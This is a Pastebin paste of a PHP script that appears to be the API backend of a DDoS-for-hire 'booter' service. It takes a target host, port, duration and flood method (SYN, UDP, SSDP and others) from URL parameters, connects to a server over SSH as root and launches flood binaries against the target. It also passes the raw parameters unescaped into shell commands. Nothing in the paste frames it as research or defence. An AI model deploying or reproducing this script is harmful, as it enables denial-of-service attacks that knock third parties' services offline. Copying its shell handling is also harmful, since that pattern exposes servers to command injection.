Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- $server_ip = "";
- $server_pass = "";
- $server_user = "root";
- $key = $_GET['key'];
- $host = $_GET['host'];
- $port = intval($_GET['port']);
- $time = intval($_GET['time']);
- $method = $_GET['method'];
- $action = $_GET['action'];
- $array = array("ZAP", "DOMINATE", "ESSYN", "SSYN", "TCP-ACK", "WIZARD", "XSYN", "VSE", "HOME", "UDP", "SSDP", "STOP");
- $ray = array("6170-5022-3077-0553");
- if (!empty($key)){
- }else{
- die('Error: API key is empty!');}
- if (in_array($key, $ray)){
- }else{
- die('Error: Incorrect API key!');}
- if (!empty($time)){
- }else{
- die('Error: time is empty!');}
- if (!empty($host)){
- }else{
- die('Error: Host is empty!');}
- if (!empty($method)){
- }else{
- die('Error: Method is empty!');}
- if (in_array($method, $array)){
- }else{
- die('Error: The method you requested does not exist!');}
- if ($port > 44405){
- die('Error: Ports over 44405 do not exist');}
- if ($time > 1800){
- die('Error: Cannot exceed more than 1800 seconds!');}
- if(ctype_digit($Time)){
- die('Error: Time is not in numeric form!');}
- if(ctype_digit($Port)){
- die('Error: Port is not in numeric form!');}
- if ($method == "ZAP") { $command = "screen -dm /root/elite/zap $host $port 100 -1 $time"; }
- if ($method == "DOMINATE") { $command = "screen -dm /root/elite/dominate $host $port 100 -1 $time"; }
- if ($method == "ESSYN") { $command = "screen -dm /root/elite/essyn $host $port 100 -1 $time"; }
- if ($method == "SSYN") { $command = "screen -dm /root/elite/ssyn $host $port 100 -1 $time"; }
- if ($method == "TCP-ACK") { $command = "screen -dm /root/elite/tcp-ack $host 100 -1 $time"; }
- if ($method == "WIZARD") { $command = "screen -dm /root/elite/wizard $host $port 100 -1 $time"; }
- if ($method == "XSYN") { $command = "screen -dm /root/elite/xsyn $host $port 100 -1 $time"; }
- if ($method == "VSE") { $command = "screen -dm /root/elite/vse $host 100 -1 $time"; }
- if ($method == "HOME") { $command = "screen -dm /root/elite/home $host $port -1 100 $time"; }
- if ($method == "UDP") { $command = "screen -dm /root/elite/udp $host $port 100 -1 $time"; }
- if ($method == "SSDP") { $command = "screen -dm /root/elite/ssdp $host $port list.txt 150 -1 $time"; }
- if ($method == "STOP") { $command = "pkill $host -f"; }
- if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Login failed, one or more of you're server credentials are incorect.";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: You're server was not able to execute you're methods file and or its dependencies";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
- fclose($stream);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement